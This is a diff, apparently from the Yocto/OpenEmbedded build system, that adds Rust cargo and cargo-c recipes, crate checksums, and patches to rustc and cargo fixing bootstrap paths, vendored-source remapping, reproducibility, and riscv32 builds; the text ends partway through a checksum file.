+SRC_URI[windows_x86_64_msvc-0.52.0.sha256sum] = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"
+SRC_URI[winnow-0.5.39.sha256sum] = "5389a154b01683d28c77f8f68f49dea75f0a4da32557a58f68ee51ebba472d29"
+SRC_URI[zerocopy-0.7.32.sha256sum] = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be"
+SRC_URI[zerocopy-derive-0.7.32.sha256sum] = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6"
+SRC_URI[zeroize-1.7.0.sha256sum] = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d"
diff --git a/meta/recipes-devtools/rust/cargo-c-native_0.9.30+cargo-0.77.0.bb b/meta/recipes-devtools/rust/cargo-c-native_0.9.30+cargo-0.77.0.bb
new file mode 100644
index 0000000000..8e17606b73
--- /dev/null
+++ b/meta/recipes-devtools/rust/cargo-c-native_0.9.30+cargo-0.77.0.bb
@@ -0,0 +1,17 @@
+SUMMARY = "cargo applet to build and install C-ABI compatible dynamic and static libraries."
+HOMEPAGE = "https://crates.io/crates/cargo-c"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = " \
+ file://LICENSE;md5=384ed0e2e0b2dac094e51fbf93fdcbe0 \
+"
+
+SRC_URI = "crate://crates.io/cargo-c/${PV};name=cargo-c"
+SRC_URI[cargo-c.sha256sum] = "ec77e3635cdb0d211f88f22d0460eef0ba031eb616ded57f2ffb98a90365c445"
+S = "${CARGO_VENDORING_DIRECTORY}/cargo-c-${PV}"
+
+inherit cargo cargo-update-recipe-crates pkgconfig native
+
+DEPENDS = "openssl curl"
+
+require ${BPN}-crates.inc
+
diff --git a/meta/recipes-devtools/rust/cargo_1.75.0.bb b/meta/recipes-devtools/rust/cargo_1.75.0.bb
new file mode 100644
index 0000000000..50b7e7c7b4
--- /dev/null
+++ b/meta/recipes-devtools/rust/cargo_1.75.0.bb
@@ -0,0 +1,73 @@
+SUMMARY = "Cargo, a package manager for Rust."
+HOMEPAGE = "https://crates.io"
+LICENSE = "MIT | Apache-2.0"
+SECTION = "devel"
+
+DEPENDS = "openssl zlib curl ca-certificates libssh2"
+
+LIC_FILES_CHKSUM = " \
+ file://LICENSE-MIT;md5=b377b220f43d747efdec40d69fcaa69d \
+ file://LICENSE-APACHE;md5=71b224ca933f0676e26d5c2e2271331c \
+ file://LICENSE-THIRD-PARTY;md5=f257ad009884cb88a3a87d6920e7180a \
+"
+
+require rust-source.inc
+require rust-snapshot.inc
+
+S = "${RUSTSRC}/src/tools/cargo"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+
+inherit cargo pkgconfig
+
+DEBUG_PREFIX_MAP += "-fdebug-prefix-map=${RUSTSRC}/vendor=${TARGET_DBGSRC_DIR}"
+
+do_cargo_setup_snapshot () {
+ ${WORKDIR}/rust-snapshot-components/${CARGO_SNAPSHOT}/install.sh --prefix="${WORKDIR}/${CARGO_SNAPSHOT}" --disable-ldconfig
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ patchelf-uninative ${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo --set-interpreter ${UNINATIVE_LOADER}
+ fi
+}
+
+addtask cargo_setup_snapshot after do_unpack before do_configure
+do_cargo_setup_snapshot[dirs] += "${WORKDIR}/${CARGO_SNAPSHOT}"
+do_cargo_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+
+do_compile:prepend () {
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ install -d "${D}${bindir}"
+ install -m 755 "${B}/target/${CARGO_TARGET_SUBDIR}/cargo" "${D}${bindir}"
+}
+
+do_install:append:class-nativesdk() {
+ # To quote the cargo docs, "Cargo also sets the dynamic library path when compiling
+ # and running binaries with commands like `cargo run` and `cargo test`". Sadly it
+ # sets to libdir but not base_libdir leading to symbol mismatches depending on the
+ # host OS. Fully set LD_LIBRARY_PATH to contain both to avoid this.
+ create_wrapper ${D}/${bindir}/cargo LD_LIBRARY_PATH=${libdir}:${base_libdir}
+}
+
+# Disabled due to incompatibility with libgit2 0.28.x (https://github.com/rust-lang/git2-rs/issues/458, https://bugs.gentoo.org/707746#c1)
+# as shipped by Yocto Dunfell.
+# According to https://github.com/rust-lang/git2-rs/issues/458#issuecomment-522567539, there are no compatibility guarantees between
+# libgit2-sys and arbitrary system libgit2 versions, so better keep this turned off.
+#export LIBGIT2_SYS_USE_PKG_CONFIG = "1"
+
+# Needed for pkg-config to be used
+export LIBSSH2_SYS_USE_PKG_CONFIG = "1"
+
+# When building cargo-native we don't have cargo-native to use and depend on,
+# so we must use the locally set up snapshot to bootstrap the build.
+BASEDEPENDS:remove:class-native = "cargo-native"
+CARGO:class-native = "${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo"
+
+DEPENDS:append:class-nativesdk = " nativesdk-rust"
+RUSTLIB:append:class-nativesdk = " -L ${STAGING_DIR_HOST}/${SDKPATHNATIVE}/usr/lib/rustlib/${RUST_HOST_SYS}/lib"
+RUSTLIB_DEP:class-nativesdk = ""
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/rust/files/0001-Handle-vendored-sources-when-remapping-paths.patch b/meta/recipes-devtools/rust/files/0001-Handle-vendored-sources-when-remapping-paths.patch
new file mode 100644
index 0000000000..a46ee14402
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/0001-Handle-vendored-sources-when-remapping-paths.patch
@@ -0,0 +1,46 @@
+From 5e37ea7cb9d99d91f2c5ac6edf19ff777f95bb88 Mon Sep 17 00:00:00 2001
+From: Arlo Siemsen <arsiem@microsoft.com>
+Date: Thu, 4 Jan 2024 11:40:56 -0600
+Subject: [PATCH] Handle vendored sources when remapping paths
+
+Upstream-Status: Submitted [https://github.com/rust-lang/rust/pull/119582]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+---
+ src/bootstrap/src/core/builder.rs | 19 ++++++++++++-------
+ 1 file changed, 12 insertions(+), 7 deletions(-)
+
+diff --git a/src/bootstrap/src/core/builder.rs b/src/bootstrap/src/core/builder.rs
+index cd276674dee6..48fdb2c7f7b7 100644
+--- a/src/bootstrap/src/core/builder.rs
++++ b/src/bootstrap/src/core/builder.rs
+@@ -1789,15 +1789,20 @@ pub fn cargo(
+ }
+
+ if self.config.rust_remap_debuginfo {
+- // FIXME: handle vendored sources
+- let registry_src = t!(home::cargo_home()).join("registry").join("src");
+ let mut env_var = OsString::new();
+- for entry in t!(std::fs::read_dir(registry_src)) {
+- if !env_var.is_empty() {
+- env_var.push("\t");
+- }
+- env_var.push(t!(entry).path());
++ if self.config.vendor {
++ let vendor = self.build.src.join("vendor");
++ env_var.push(vendor);
+ env_var.push("=/rust/deps");
++ } else {
++ let registry_src = t!(home::cargo_home()).join("registry").join("src");
++ for entry in t!(std::fs::read_dir(registry_src)) {
++ if !env_var.is_empty() {
++ env_var.push("\t");
++ }
++ env_var.push(t!(entry).path());
++ env_var.push("=/rust/deps");
++ }
+ }
+ cargo.env("RUSTC_CARGO_REGISTRY_SRC_TO_REMAP", env_var);
+ }
+--
+2.39.0
+
diff --git a/meta/recipes-devtools/rust/files/0001-Revert-Map-source-absolute-paths-to-OUT_DIR-as-relat.patch b/meta/recipes-devtools/rust/files/0001-Revert-Map-source-absolute-paths-to-OUT_DIR-as-relat.patch
new file mode 100644
index 0000000000..f75a75fa4e
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/0001-Revert-Map-source-absolute-paths-to-OUT_DIR-as-relat.patch
@@ -0,0 +1,67 @@
+From 8bf0c566387e6a48d854d5f69c43c8bfa45092f9 Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alexk@zuma.ai>
+Date: Sun, 24 Dec 2023 09:40:01 +0000
+Subject: [PATCH] Revert "Map source absolute paths to OUT_DIR as relative.
+ (#684)"
+
+This reverts commit c4f414f449bb7cffba3bc923f277704d1d08a8ec.
+
+Upstream-Status: Inappropriate [patches need rework]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+---
+ src/lib.rs | 22 ++--------------------
+ 1 file changed, 2 insertions(+), 20 deletions(-)
+
+Index: rustc-1.72.0-src/vendor/cc/src/lib.rs
+===================================================================
+--- rustc-1.72.0-src.orig/vendor/cc/src/lib.rs
++++ rustc-1.72.0-src/vendor/cc/src/lib.rs
+@@ -56,12 +56,11 @@
+ #![allow(deprecated)]
+ #![deny(missing_docs)]
+
+-use std::collections::{hash_map, HashMap};
++use std::collections::HashMap;
+ use std::env;
+ use std::ffi::{OsStr, OsString};
+ use std::fmt::{self, Display, Formatter};
+ use std::fs;
+-use std::hash::Hasher;
+ use std::io::{self, BufRead, BufReader, Read, Write};
+ use std::path::{Component, Path, PathBuf};
+ use std::process::{Child, Command, Stdio};
+@@ -1037,24 +1036,7 @@ impl Build {
+
+ let mut objects = Vec::new();
+ for file in self.files.iter() {
+- let obj = if file.has_root() {
+- // If `file` is an absolute path, prefix the `basename`
+- // with the `dirname`'s hash to ensure name uniqueness.
+- let basename = file
+- .file_name()
+- .ok_or_else(|| Error::new(ErrorKind::InvalidArgument, "file_name() failure"))?
+- .to_string_lossy();
+- let dirname = file
+- .parent()
+- .ok_or_else(|| Error::new(ErrorKind::InvalidArgument, "parent() failure"))?
+- .to_string_lossy();
+- let mut hasher = hash_map::DefaultHasher::new();
+- hasher.write(dirname.to_string().as_bytes());
+- dst.join(format!("{:016x}-{}", hasher.finish(), basename))
+- .with_extension("o")
+- } else {
+- dst.join(file).with_extension("o")
+- };
++ let obj = dst.join(file).with_extension("o");
+ let obj = if !obj.starts_with(&dst) {
+ dst.join(obj.file_name().ok_or_else(|| {
+ Error::new(ErrorKind::IOError, "Getting object file details failed.")
+Index: rustc-1.72.0-src/vendor/cc/.cargo-checksum.json
+===================================================================
+--- rustc-1.72.0-src.orig/vendor/cc/.cargo-checksum.json
++++ rustc-1.72.0-src/vendor/cc/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"Cargo.lock":"dddb9c49058d411a098e98dc1c06e3bc89f859a2080d96c11b11aec67394bb8c","Cargo.toml":"1953a8bc4b98e351fe75917c151b1e08a46531d562aebba25a90add4aadecac2","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"378f5840b258e2779c39418f3f2d7b2ba96f1c7917dd6be0713f88305dbda397","README.md":"58af5106352aafa62175a90f8a5f25fa114028bf909220dc0735d79745999ec1","src/bin/gcc-shim.rs":"36dc4e447428e73c548cc7106ca1e8f282c098463b014e13a729a44445de4880","src/com.rs":"29d0dee08a656ab1a4cc3e5fe24542e0fab5c1373cbc9b05059f7572cf9b8313","src/lib.rs":"17a4659710aa290c4ed9c23063c7b202c5bcf2a84de33aa1f01fc6fded69a1f8","src/registry.rs":"98ae2b71781acc49297e5544fa0cf059f735636f8f1338edef8dbf7232443945","src/setup_config.rs":"72deaf1927c0b713fd5c2b2d5b8f0ea3a303a00fda1579427895cac26a94122d","src/vs_instances.rs":"2d3f8278a803b0e7052f4eeb1979b29f963dd0143f4458e2cb5f33c4e5f0963b","src/winapi.rs":"e128e95b2d39ae7a02f54a7e25d33c488c14759b9f1a50a449e10545856950c3","src/windows_registry.rs":"1f973f804b4b451e48ff6d98ce660355772f164dfdf79a6ae514645c7c764005","tests/cc_env.rs":"e02b3b0824ad039b47e4462c5ef6dbe6c824c28e7953af94a0f28f7b5158042e","tests/cflags.rs":"57f06eb5ce1557e5b4a032d0c4673e18fbe6f8d26c1deb153126e368b96b41b3","tests/cxxflags.rs":"c2c6c6d8a0d7146616fa1caed26876ee7bc9fcfffd525eb4743593cade5f3371","tests/support/mod.rs":"a3c8d116973bb16066bf6ec4de5143183f97de7aad085d85f8118a2eaac3e1e0","tests/test.rs":"61fb35ae6dd5cf506ada000bdd82c92e9f8eac9cc053b63e83d3f897436fbf8f"},"package":"50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"}
+\ No newline at end of file
++{"files":{"Cargo.lock":"dddb9c49058d411a098e98dc1c06e3bc89f859a2080d96c11b11aec67394bb8c","Cargo.toml":"1953a8bc4b98e351fe75917c151b1e08a46531d562aebba25a90add4aadecac2","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"378f5840b258e2779c39418f3f2d7b2ba96f1c7917dd6be0713f88305dbda397","README.md":"58af5106352aafa62175a90f8a5f25fa114028bf909220dc0735d79745999ec1","src/bin/gcc-shim.rs":"36dc4e447428e73c548cc7106ca1e8f282c098463b014e13a729a44445de4880","src/com.rs":"29d0dee08a656ab1a4cc3e5fe24542e0fab5c1373cbc9b05059f7572cf9b8313","src/lib.rs":"dfb36b17362e9a5b266cb19a229d982e8c0bba784b1e99769f690692b0cd5c4e","src/registry.rs":"98ae2b71781acc49297e5544fa0cf059f735636f8f1338edef8dbf7232443945","src/setup_config.rs":"72deaf1927c0b713fd5c2b2d5b8f0ea3a303a00fda1579427895cac26a94122d","src/vs_instances.rs":"2d3f8278a803b0e7052f4eeb1979b29f963dd0143f4458e2cb5f33c4e5f0963b","src/winapi.rs":"e128e95b2d39ae7a02f54a7e25d33c488c14759b9f1a50a449e10545856950c3","src/windows_registry.rs":"1f973f804b4b451e48ff6d98ce660355772f164dfdf79a6ae514645c7c764005","tests/cc_env.rs":"e02b3b0824ad039b47e4462c5ef6dbe6c824c28e7953af94a0f28f7b5158042e","tests/cflags.rs":"57f06eb5ce1557e5b4a032d0c4673e18fbe6f8d26c1deb153126e368b96b41b3","tests/cxxflags.rs":"c2c6c6d8a0d7146616fa1caed26876ee7bc9fcfffd525eb4743593cade5f3371","tests/support/mod.rs":"a3c8d116973bb16066bf6ec4de5143183f97de7aad085d85f8118a2eaac3e1e0","tests/test.rs":"61fb35ae6dd5cf506ada000bdd82c92e9f8eac9cc053b63e83d3f897436fbf8f"},"package":"50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"}
+\ No newline at end of file
diff --git a/meta/recipes-devtools/rust/files/cargo-path.patch b/meta/recipes-devtools/rust/files/cargo-path.patch
new file mode 100644
index 0000000000..9a50c40220
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/cargo-path.patch
@@ -0,0 +1,37 @@
+Fix the cargo binary path error and ensure that it is fetched
+during rustc bootstrap in rust oe-selftest.
+
+======================================================================
+ERROR: test_cargoflags (bootstrap_test.BuildBootstrap)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+ File "/home/build-st/tmp/work/cortexa57-poky-linux/rust/1.74.1/rustc-1.74.1-src/src/bootstrap/bootstrap_test.py", line 157, in test_cargoflags
+ args, _ = self.build_args(env={"CARGOFLAGS": "--timings"})
+ File "/home/build-st/tmp/work/cortexa57-poky-linux/rust/1.74.1/rustc-1.74.1-src/src/bootstrap/bootstrap_test.py", line 154, in build_args
+ return build.build_bootstrap_cmd(env), env
+ File "/home/build-st/tmp/work/cortexa57-poky-linux/rust/1.74.1/rustc-1.74.1-src/src/bootstrap/bootstrap.py", line 960, in build_bootstrap_cmd
+ raise Exception("no cargo executable found at `{}`".format(
+Exception: no cargo executable found at `/home/build-st/tmp/work/cortexa57-poky-linux/rust/1.74.1/rustc-1.74.1-src/build/x86_64-unknown-linux-gnu/stage0/bin/cargo`
+
+Upstream-Status: Submitted [https://github.com/rust-lang/rust/pull/120125]
+
+Signed-off-by: Yash Shinde <Yash.Shinde@windriver.com>
+---
+diff --git a/src/bootstrap/bootstrap.py b/src/bootstrap/bootstrap.py
+--- a/src/bootstrap/bootstrap.py
++++ b/src/bootstrap/bootstrap.py
+@@ -954,9 +954,11 @@
+ if "RUSTFLAGS_BOOTSTRAP" in env:
+ env["RUSTFLAGS"] += " " + env["RUSTFLAGS_BOOTSTRAP"]
+
+- env["PATH"] = os.path.join(self.bin_root(), "bin") + \
+- os.pathsep + env["PATH"]
+- if not os.path.isfile(self.cargo()):
++ cargo_bin_path = os.path.join(self.bin_root(), "bin", "cargo")
++ if not os.path.isfile(cargo_bin_path):
++ cargo_bin_path = os.getenv("RUST_TARGET_PATH") + "rust-snapshot/bin/cargo"
++ env["PATH"] = os.path.dirname(cargo_bin_path) + os.pathsep + env["PATH"]
++ else:
+ raise Exception("no cargo executable found at `{}`".format(
+ self.cargo()))
+ args = [self.cargo(), "build", "--manifest-path",
diff --git a/meta/recipes-devtools/rust/files/custom-target-cfg.patch b/meta/recipes-devtools/rust/files/custom-target-cfg.patch
new file mode 100644
index 0000000000..15a7f252cc
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/custom-target-cfg.patch
@@ -0,0 +1,90 @@
+Detect and fetch custom target configurations when rustc is
+bootstrapped in rust oe-selftest.
+
+Upstream-Status: Backport [https://github.com/rust-lang/rust/pull/119619/commits/26c71cbcf1a9bce6ceb962d753c467d098f63cf6]
+
+Signed-off-by: onur-ozkan <work@onurozkan.dev>
+Signed-off-by: Yash Shinde <Yash.Shinde@windriver.com>
+---
+diff --git a/src/tools/compiletest/src/common.rs b/src/tools/compiletest/src/common.rs
+index e85f6319936..c45c0b3c652 100644
+--- a/src/tools/compiletest/src/common.rs
++++ b/src/tools/compiletest/src/common.rs
+@@ -479,6 +479,7 @@ fn new(config: &Config) -> TargetCfgs {
+ let mut targets: HashMap<String, TargetCfg> = serde_json::from_str(&rustc_output(
+ config,
+ &["--print=all-target-specs-json", "-Zunstable-options"],
++ Default::default(),
+ ))
+ .unwrap();
+
+@@ -491,16 +492,33 @@ fn new(config: &Config) -> TargetCfgs {
+ let mut all_families = HashSet::new();
+ let mut all_pointer_widths = HashSet::new();
+
+- // Handle custom target specs, which are not included in `--print=all-target-specs-json`.
+- if config.target.ends_with(".json") {
+- targets.insert(
+- config.target.clone(),
+- serde_json::from_str(&rustc_output(
+- config,
+- &["--print=target-spec-json", "-Zunstable-options", "--target", &config.target],
+- ))
+- .unwrap(),
+- );
++ // If current target is not included in the `--print=all-target-specs-json` output,
++ // we check whether it is a custom target from the user or a synthetic target from bootstrap.
++ if !targets.contains_key(&config.target) {
++ let mut envs: HashMap<String, String> = HashMap::new();
++
++ if let Ok(t) = std::env::var("RUST_TARGET_PATH") {
++ envs.insert("RUST_TARGET_PATH".into(), t);
++ }
++
++ // This returns false only when the target is neither a synthetic target
++ // nor a custom target from the user, indicating it is most likely invalid.
++ if config.target.ends_with(".json") || !envs.is_empty() {
++ targets.insert(
++ config.target.clone(),
++ serde_json::from_str(&rustc_output(
++ config,
++ &[
++ "--print=target-spec-json",
++ "-Zunstable-options",
++ "--target",
++ &config.target,
++ ],
++ envs,
++ ))
++ .unwrap(),
++ );
++ }
+ }
+
+ for (target, cfg) in targets.iter() {
+@@ -545,7 +563,9 @@ fn get_current_target_config(
+ // code below extracts them from `--print=cfg`: make sure to only override fields that can
+ // actually be changed with `-C` flags.
+ for config in
+- rustc_output(config, &["--print=cfg", "--target", &config.target]).trim().lines()
++ rustc_output(config, &["--print=cfg", "--target", &config.target], Default::default())
++ .trim()
++ .lines()
+ {
+ let (name, value) = config
+ .split_once("=\"")
+@@ -624,11 +644,12 @@ pub enum Endian {
+ Big,
+ }
+
+-fn rustc_output(config: &Config, args: &[&str]) -> String {
++fn rustc_output(config: &Config, args: &[&str], envs: HashMap<String, String>) -> String {
+ let mut command = Command::new(&config.rustc_path);
+ add_dylib_path(&mut command, iter::once(&config.compile_lib_path));
+ command.args(&config.target_rustcflags).args(args);
+ command.env("RUSTC_BOOTSTRAP", "1");
++ command.envs(envs);
+
+ let output = match command.output() {
+ Ok(output) => output,
+
diff --git a/meta/recipes-devtools/rust/files/hardcodepaths.patch b/meta/recipes-devtools/rust/files/hardcodepaths.patch
new file mode 100644
index 0000000000..a043095f62
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/hardcodepaths.patch
@@ -0,0 +1,59 @@
+When building for the target, some build paths end up embedded in the binaries.
+These changes remove that. Further investigation is needed to work out the way
+to resolve these issues properly upstream.
+
+Upstream-Status: Inappropriate [patches need rework]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+diff --git a/compiler/rustc_codegen_llvm/src/context.rs b/compiler/rustc_codegen_llvm/src/context.rs
+index b4b2ab1e1f8a..8bb3e3f0557c 100644
+--- a/compiler/rustc_codegen_llvm/src/context.rs
++++ b/compiler/rustc_codegen_llvm/src/context.rs
+@@ -158,46 +158,6 @@ pub unsafe fn create_module<'ll>(
+ }
+ }
+
+- // Ensure the data-layout values hardcoded remain the defaults.
+- if sess.target.is_builtin {
+- // tm is disposed by its drop impl
+- let tm = crate::back::write::create_informational_target_machine(tcx.sess);
+- llvm::LLVMRustSetDataLayoutFromTargetMachine(llmod, &tm);
+-
+- let llvm_data_layout = llvm::LLVMGetDataLayoutStr(llmod);
+- let llvm_data_layout = str::from_utf8(CStr::from_ptr(llvm_data_layout).to_bytes())
+- .expect("got a non-UTF8 data-layout from LLVM");
+-
+- // Unfortunately LLVM target specs change over time, and right now we
+- // don't have proper support to work with any more than one
+- // `data_layout` than the one that is in the rust-lang/rust repo. If
+- // this compiler is configured against a custom LLVM, we may have a
+- // differing data layout, even though we should update our own to use
+- // that one.
+- //
+- // As an interim hack, if CFG_LLVM_ROOT is not an empty string then we
+- // disable this check entirely as we may be configured with something
+- // that has a different target layout.
+- //
+- // Unsure if this will actually cause breakage when rustc is configured
+- // as such.
+- //
+- // FIXME(#34960)
+- let cfg_llvm_root = option_env!("CFG_LLVM_ROOT").unwrap_or("");
+- let custom_llvm_used = !cfg_llvm_root.trim().is_empty();
+-
+- if !custom_llvm_used && target_data_layout != llvm_data_layout {
+- bug!(
+- "data-layout for target `{rustc_target}`, `{rustc_layout}`, \
+- differs from LLVM target's `{llvm_target}` default layout, `{llvm_layout}`",
+- rustc_target = sess.opts.target_triple,
+- rustc_layout = target_data_layout,
+- llvm_target = sess.target.llvm_target,
+- llvm_layout = llvm_data_layout
+- );
+- }
+- }
+-
+ let data_layout = SmallCStr::new(&target_data_layout);
+ llvm::LLVMSetDataLayout(llmod, data_layout.as_ptr());
+
diff --git a/meta/recipes-devtools/rust/files/repro-issue-fix-with-v175.patch b/meta/recipes-devtools/rust/files/repro-issue-fix-with-v175.patch
new file mode 100644
index 0000000000..fe0507c981
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/repro-issue-fix-with-v175.patch
@@ -0,0 +1,36 @@
+rust: reproducibility issue fix with v1.75
+
+With 1.75 rust release, the '.rustc' section of shared object libs are embedded with absolute path names which is casuing reproducibility issues.
+This change will fix the path name format back to '/rust/$hash' as in earlier versions.
+
+Below are the links for detailed bug description & discusssion with upstream rust.
+https://github.com/rust-lang/rust/issues/120825#issuecomment-1964307219
+https://github.com/rust-lang/rust/issues/120825#issuecomment-1964652656
+
+Upstream-Status: Backport [https://github.com/rust-lang/rust/pull/121959/commits/a9a979839bbdfec48c75d618ab0dce8a953589b8]
+Signed-off-by: Sundeep KOKKONDA <sundeep.kokkonda@windriver.com>
+---
+--- a/compiler/rustc_session/src/session.rs 2023-12-21 08:55:28.000000000 -0800
++++ b/compiler/rustc_session/src/session.rs 2024-02-26 07:29:15.527577022 -0800
+@@ -1260,19 +1260,6 @@
+ }
+
+ pub fn should_prefer_remapped_for_codegen(&self) -> bool {
+- // bail out, if any of the requested crate types aren't:
+- // "compiled executables or libraries"
+- for crate_type in &self.opts.crate_types {
+- match crate_type {
+- CrateType::Executable
+- | CrateType::Dylib
+- | CrateType::Rlib
+- | CrateType::Staticlib
+- | CrateType::Cdylib => continue,
+- CrateType::ProcMacro => return false,
+- }
+- }
+-
+ let has_split_debuginfo = match self.split_debuginfo() {
+ SplitDebuginfo::Off => false,
+ SplitDebuginfo::Packed => true,
+
+
diff --git a/meta/recipes-devtools/rust/files/rustc-bootstrap.patch b/meta/recipes-devtools/rust/files/rustc-bootstrap.patch
new file mode 100644
index 0000000000..1271d75e60
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/rustc-bootstrap.patch
@@ -0,0 +1,21 @@
+When rust.channel is set to either beta or stable, we can't use
+nightly features on bootstrap without RUSTC_BOOTSTRAP. Set RUSTC_BOOTSTRAP=1
+to use nightly features on stable or beta.
+
+Upstream-Status: Backport [https://github.com/rust-lang/rust/pull/119619/commits/8aa7dd06f6e50621dc10f9f9490681be8a45876f]
+
+Signed-off-by: onur-ozkan <work@onurozkan.dev>
+Signed-off-by: Yash Shinde <Yash.Shinde@windriver.com>
+---
+diff --git a/src/bootstrap/synthetic_targets.rs b/ src/bootstrap/synthetic_targets.rs
+index d2c65b740da..45baf56f46b 100644
+--- a/src/bootstrap/src/core/build_steps/synthetic_targets.rs
++++ b/src/bootstrap/src/core/build_steps/synthetic_targets.rs
+@@ -59,6 +59,7 @@ fn create_synthetic_target(
+ let mut cmd = Command::new(builder.rustc(compiler));
+ cmd.arg("--target").arg(base.rustc_target_arg());
+ cmd.args(["-Zunstable-options", "--print", "target-spec-json"]);
++ cmd.env("RUSTC_BOOTSTRAP", "1");
+ cmd.stdout(Stdio::piped());
+
+ let output = cmd.spawn().unwrap().wait_with_output().unwrap();
diff --git a/meta/recipes-devtools/rust/files/rv32-cargo-rustix-0.38.19-fix.patch b/meta/recipes-devtools/rust/files/rv32-cargo-rustix-0.38.19-fix.patch
new file mode 100644
index 0000000000..a7f3d11ede
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/rv32-cargo-rustix-0.38.19-fix.patch
@@ -0,0 +1,70 @@
+Fix cargo build on riscv32
+
+riscv32 support is added to latest rustix already
+therefore this patch is limited to rustix-0.38.19
+once cargo/rust moves beyond rustix-0.38.19 as dependency
+we can remove this patch
+
+Upstream-Status: Inappropriate [Specific to rustix-0.38.19]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- a/vendor/rustix-0.38.19/src/backend/libc/termios/syscalls.rs
++++ b/vendor/rustix-0.38.19/src/backend/libc/termios/syscalls.rs
+@@ -138,7 +138,7 @@ pub(crate) fn tcsetattr(
+ use crate::utils::default_array;
+ use linux_raw_sys::general::{termios2, BOTHER, CBAUD, IBSHIFT};
+
+- #[cfg(not(any(target_arch = "sparc", target_arch = "sparc64")))]
++ #[cfg(not(any(target_arch = "sparc", target_arch = "sparc64", target_arch = "riscv32")))]
+ use linux_raw_sys::ioctl::{TCSETS, TCSETS2};
+
+ // linux-raw-sys' ioctl-generation script for sparc isn't working yet,
+@@ -147,6 +147,10 @@ pub(crate) fn tcsetattr(
+ const TCSETS: u32 = 0x80245409;
+ #[cfg(any(target_arch = "sparc", target_arch = "sparc64"))]
+ const TCSETS2: u32 = 0x802c540d;
++ #[cfg(any(target_arch = "riscv32"))]
++ const TCSETS: u32 = 0x5402;
++ #[cfg(any(target_arch = "riscv32"))]
++ const TCSETS2: u32 = 0x402C542B;
+
+ // Translate from `optional_actions` into an ioctl request code. On
+ // MIPS, `optional_actions` already has `TCGETS` added to it.
+--- a/vendor/rustix-0.38.19/.cargo-checksum.json
++++ b/vendor/rustix-0.38.19/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"CODE_OF_CONDUCT.md":"f210602311e3f74b32f46237fd55f4ce36d798e85e3db1432ec667f63a7ffc44","CONTRIBUTING.md":"3fd57de5c678db1c972da676a8231d2fde9820695ef1f0d53f1e55a3e81d9de0","COPYRIGHT":"377c2e7c53250cc5905c0b0532d35973392af16ffb9596a41d99d202cf3617c9","Cargo.toml":"c994094b77085196394cd7cc03161f4810af7da799cfb40c696973e912929a8f","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"58d2ee38dad64ff142e98872860b282b36a09076df537af57aba39d675d84a28","SECURITY.md":"4d75afb09dd28eb5982e3a1f768ee398d90204669ceef3240a16b31dcf04148a","benches/mod.rs":"e260e67273aa0a37cffdc5cd451699335b8ee656c17275a0d0f2b4563c6018ca","build.rs":"5f93559819ca7fe233f01579d51ff5b58cb6e96ef9e7817a3358a9b410d5bbf6","src/backend/libc/c.rs":"63a6b16d4c13db9946c58ef643dd92ac4c81c4be8b5d2adf9bb0f5c797593d3b","src/backend/libc/conv.rs":"c4b4a6fdcf2f9295ab0498229a780942b031a2847ddf2466f90884bfb30255f8","src/backend/libc/event/epoll.rs":"f35eb0fddf9c4327551e1995f109a537f9899b9231e914671bdf26b616048370","src/backend/libc/event/mod.rs":"7f8547c599b8263eb791890bbe4a0b22fe2676d007ffdcc3e07b2e48d1c994db","src/backend/libc/event/poll_fd.rs":"06e2ce2fb30a45b90279ae753a67085e9f818a1b16d99cc92c525e2c46d61d51","src/backend/libc/event/syscalls.rs":"295a930521b345192caaf916b39189299f81f5f7c9f1aaed235baf3bf6f2f5fa","src/backend/libc/event/types.rs":"09e813690f44752708485e5a5ee59a43834a4a3e9577f2739b310c3ea8b4b64e","src/backend/libc/event/windows_syscalls.rs":"ebfac665c6676c4b803134ab8806be8aa2e96bdbc7799a19c544cd9069b35787","src/backend/libc/fs/dir.rs":"6f9526714c525e219399371d5acbe2666f0ac3ee88f73dc03fb3